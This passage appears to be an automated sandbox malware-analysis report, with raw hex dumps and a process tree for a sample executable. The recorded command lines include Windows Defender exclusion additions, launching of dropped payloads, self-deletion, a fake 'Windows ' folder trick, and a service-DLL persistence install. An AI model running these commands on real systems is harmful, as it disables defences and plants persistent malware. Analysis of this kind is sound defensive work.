2024-08-21 07:39:52 UTC	1378	IN	Data Raw: 89 fc ff ff 45 85 c9 75 15 44 8b c5 ba 30 00 00 00 48 8b ce e8 f9 92 03 00 48 03 f5 eb 53 4c 8b c6 41 8b d1 41 8b cb e8 f6 8a 00 00 48 03 f5 eb 40 83 7c 24 50 00 76 26 49 8b c7 41 8d 6b 01 48 2b c6 48 3b c5 0f 8c 42 fc ff ff 4c 8b c6 41 8b d1 41 8b cb e8 a9 f7 ff ff 48 03 f5 eb 13 49 3b f7 0f 84 26 fc ff ff 41 80 c1 30 44 88 0e 48 ff c6 85 ff 74 34 48 8b 54 24 58 48 8b c6 48 3b f2 74 22 0f b6 48 ff 48 ff c8 80 f9 2e 74 11 80 f9 39 0f 85 99 00 00 00 c6 00 30 bf 01 00 00 00 48 3b c2 75 de c6 00 31 ff c3 44 8b c3 49 8b c7 41 f7 d8 44 0f 48 c3 33 c9 41 83 f8 64 0f 9d c1 48 2b c6 48 83 c1 04 48 3b c1 0f 8c be fb ff ff 85 db c6 06 65 b8 2d 00 00 00 4c 8d 0d 72 cd ff ff b9 2b 00 00 00 0f 49 c1 88 46 01 41 83 f8 64 7c 56 b8 67 66 66 66 41 f7 e8 c1 fa 02 8b c2 c1 Data Ascii: EuD0HHSLAAH@\|$Pv&IAkH+H;BLAAHI;&A0DHt4HT$XHH;t"HH.t90H;u1DIADH3AdH+HH;e-Lr+IFAd\|VgfffA
2024-08-21 07:39:52 UTC	1378	IN	Data Raw: 44 8b ca 41 f7 e6 41 c1 e9 03 8b fa c1 ef 03 41 3b f9 76 51 0f 1f 40 00 0f 1f 84 00 00 00 00 00 b8 cd cc cc cc 45 8b d1 41 f7 e0 ff c3 c1 ea 03 0f b6 c2 c0 e0 02 8d 0c 10 b8 cd cc cc cc 02 c9 44 2a c1 45 0f b6 d8 44 8b c2 41 f7 e1 b8 cd cc cc cc 44 8b ca f7 e7 41 c1 e9 03 8b fa c1 ef 03 41 3b f9 77 bb 45 3b c2 e9 24 01 00 00 b8 cd cc cc cc 41 f7 e2 b8 cd cc cc cc 8b fa 41 f7 e6 c1 ef 03 44 8b f2 41 c1 ee 03 44 3b f7 76 6d 66 90 8d 0c bf 41 0f b6 c7 03 c9 44 8b ce 44 3b d1 8b ce 44 8b d7 44 0f 44 c8 45 84 db 40 0f b6 c5 45 0f b6 f9 0f 44 c8 b8 cd cc cc cc 41 f7 e0 0f b6 e9 ff c3 c1 ea 03 0f b6 c2 c0 e0 02 8d 0c 10 b8 cd cc cc cc 02 c9 44 2a c1 45 0f b6 d8 44 8b c2 f7 e7 b8 cd cc cc cc 8b fa 41 f7 e6 c1 ef 03 44 8b f2 41 c1 ee 03 44 3b f7 77 95 45 84 ff 74 Data Ascii: DAAA;vQ@EADEDADAA;wE;$AADAD;vmfADD;DDDE@EDADEDADAD;wEt
2024-08-21 07:39:52 UTC	1378	IN	Data Raw: c2 49 f7 e3 49 c1 e8 06 4c 2b d2 49 d1 ea 4c 03 d2 49 c1 ea 06 4d 3b c2 76 32 48 8b c1 49 8b f0 49 f7 e1 49 8b c9 4d 8b da 48 2b ca bb 02 00 00 00 48 d1 e9 48 03 ca 48 c1 e9 06 6b c1 64 44 2b c8 41 83 f9 32 4c 8b c9 40 0f 93 c5 49 8b c4 48 f7 e6 49 8b c4 4c 8b c2 49 f7 e3 49 c1 e8 03 48 8b ca 48 c1 e9 03 4c 3b c1 76 44 0f 1f 00 49 8b c4 4c 8b d9 49 f7 e1 48 c1 ea 03 8d 04 92 03 c0 44 2b c8 49 8b c4 41 83 f9 05 4c 8b ca 40 0f 93 c5 ff c3 49 f7 e0 49 8b c4 4c 8b c2 48 f7 e1 49 c1 e8 03 48 8b ca 48 c1 e9 03 4c 3b c1 77 bf 4d 3b cb 0f 84 3d 01 00 00 40 84 ed 0f 84 39 01 00 00 e9 2f 01 00 00 49 8b c4 48 f7 e6 49 8b c4 4c 8b f2 49 f7 e3 49 c1 ee 03 48 8b f2 48 c1 ee 03 4c 3b f6 76 72 66 0f 1f 84 00 00 00 00 00 8d 0c b6 49 8b c4 49 f7 e1 03 c9 41 0f b6 c7 48 c1 Data Ascii: IIL+ILIM;v2HIIIMH+HHHkdD+A2L@IHILIIHHL;vDILIHD+IAL@IILHIHHL;wM;=@9/IHILIIHHL;vrfIIAH

Target ID:	3
Start time:	03:39:40
Start date:	21/08/2024
Path:	C:\Users\user\Desktop\Ld0f3NDosJ.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Ld0f3NDosJ.exe"
Imagebase:	0x7ff646e40000
File size:	440'832 bytes
MD5 hash:	00948444F3E248047722667419D54205
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:39:45
Start date:	21/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop'"
Imagebase:	0x7ff7fc950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:39:45
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:39:45
Start date:	21/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop'"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:40:02
Start date:	21/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c start "" "C:\Users\user\Desktop\pyld64.exe"
Imagebase:	0x7ff7fc950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:40:02
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	03:40:02
Start date:	21/08/2024
Path:	C:\Users\user\Desktop\pyld64.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\pyld64.exe"
Imagebase:	0x7ff7fc8e0000
File size:	15'180'800 bytes
MD5 hash:	43BCE45D873189F9AE2767D89A1C46E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 18%, ReversingLabs Detection: 65%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	03:40:03
Start date:	21/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c timeout /t 10 /nobreak && del "C:\Users\user\Desktop\Ld0f3NDosJ.exe"
Imagebase:	0x7ff7fc950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	03:40:03
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	03:40:03
Start date:	21/08/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 10 /nobreak
Imagebase:	0x7ff6d8670000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	03:40:05
Start date:	21/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Imagebase:	0x7ff7fc950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	03:40:05
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7934f0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	03:40:05
Start date:	21/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	03:40:10
Start date:	21/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c start "" "C:\Windows\System32\usvcinsta64.exe"
Imagebase:	0x7ff7fc950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	03:40:10
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	03:40:10
Start date:	21/08/2024
Path:	C:\Windows\System32\usvcinsta64.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\usvcinsta64.exe"
Imagebase:	0x7ff6b8fa0000
File size:	14'693'888 bytes
MD5 hash:	11DDC0A34BAC7AB099D2EE8D9817BF58
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 58%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	03:40:11
Start date:	21/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c timeout /t 10 /nobreak && del "C:\Users\user\Desktop\pyld64.exe"
Imagebase:	0x7ff7fc950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	03:40:11
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	03:40:11
Start date:	21/08/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 10 /nobreak
Imagebase:	0x7ff6d8670000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	03:40:11
Start date:	21/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Imagebase:	0x7ff7fc950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	03:40:11
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	03:40:11
Start date:	21/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	03:40:15
Start date:	21/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
Imagebase:	0x7ff7fc950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	03:40:15
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	03:40:15
Start date:	21/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	03:40:18
Start date:	21/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c mkdir "\\?\C:\Windows \System32"
Imagebase:	0x7ff7fc950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	03:40:18
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	03:40:18
Start date:	21/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c start "" "C:\Windows \System32\printui.exe"
Imagebase:	0x7ff7fc950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	03:40:18
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	03:40:19
Start date:	21/08/2024
Path:	C:\Windows \System32\printui.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows \System32\printui.exe"
Imagebase:	0x7ff68c620000
File size:	64'000 bytes
MD5 hash:	2FC3530F3E05667F8240FC77F7486E7E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	03:40:19
Start date:	21/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c timeout /t 10 /nobreak && del "C:\Windows\System32\usvcinsta64.exe"
Imagebase:	0x7ff7fc950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	03:40:19
Start date:	21/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath '%SystemDrive%\Windows \System32'; Add-MpPreference -ExclusionPath '%SystemDrive%\Windows\System32';"
Imagebase:	0x7ff7fc950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	03:40:19
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	03:40:19
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	03:40:19
Start date:	21/08/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 10 /nobreak
Imagebase:	0x7ff6d8670000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	03:40:19
Start date:	21/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows \System32'; Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	03:40:25
Start date:	21/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c sc create x543664 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto && reg add HKLM\SYSTEM\CurrentControlSet\services\x543664\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x543664.dat" /f && sc start x543664
Imagebase:	0x7ff7fc950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	03:40:25
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	03:40:25
Start date:	21/08/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	03:40:25
Start date:	21/08/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc create x543664 binPath= "C:\Windows\System32\svchost.exe -k DcomLaunch" type= own start= auto
Imagebase:	0x7ff608be0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	03:40:25
Start date:	21/08/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add HKLM\SYSTEM\CurrentControlSet\services\x543664\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\x543664.dat" /f
Imagebase:	0x7ff7f38e0000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	03:40:25
Start date:	21/08/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc start x543664
Imagebase:	0x7ff608be0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	03:40:25
Start date:	21/08/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k DcomLaunch
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	54
Start time:	03:40:26
Start date:	21/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
Imagebase:	0x7ff7fc950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	03:40:26
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	03:40:26
Start date:	21/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'c:\windows\system32'
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	03:40:27
Start date:	21/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c start "" "C:\Windows\System32\console_zero.exe"
Imagebase:	0x7ff7fc950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	03:40:27
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	03:40:27
Start date:	21/08/2024
Path:	C:\Windows\System32\console_zero.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\console_zero.exe"
Imagebase:	0x7ff6f8c50000
File size:	477'696 bytes
MD5 hash:	74CF33F8C2FCB56F749AAF411B9AE302
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 18%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	03:40:27
Start date:	21/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c schtasks /delete /tn "console_zero" /f
Imagebase:	0x7ff7403e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	03:40:27
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	03:40:27
Start date:	21/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /delete /tn "console_zero" /f
Imagebase:	0x7ff67e790000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	03:40:28
Start date:	21/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c timeout /t 10 /nobreak && rmdir /s /q "C:\Windows \"
Imagebase:	0x7ff7fc950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	03:40:28
Start date:	21/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	03:40:28
Start date:	21/08/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 10 /nobreak
Imagebase:	0x7ff6d8670000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	03:40:28
Start date:	21/08/2024
Path:	C:\Windows\System32\cmd.exe
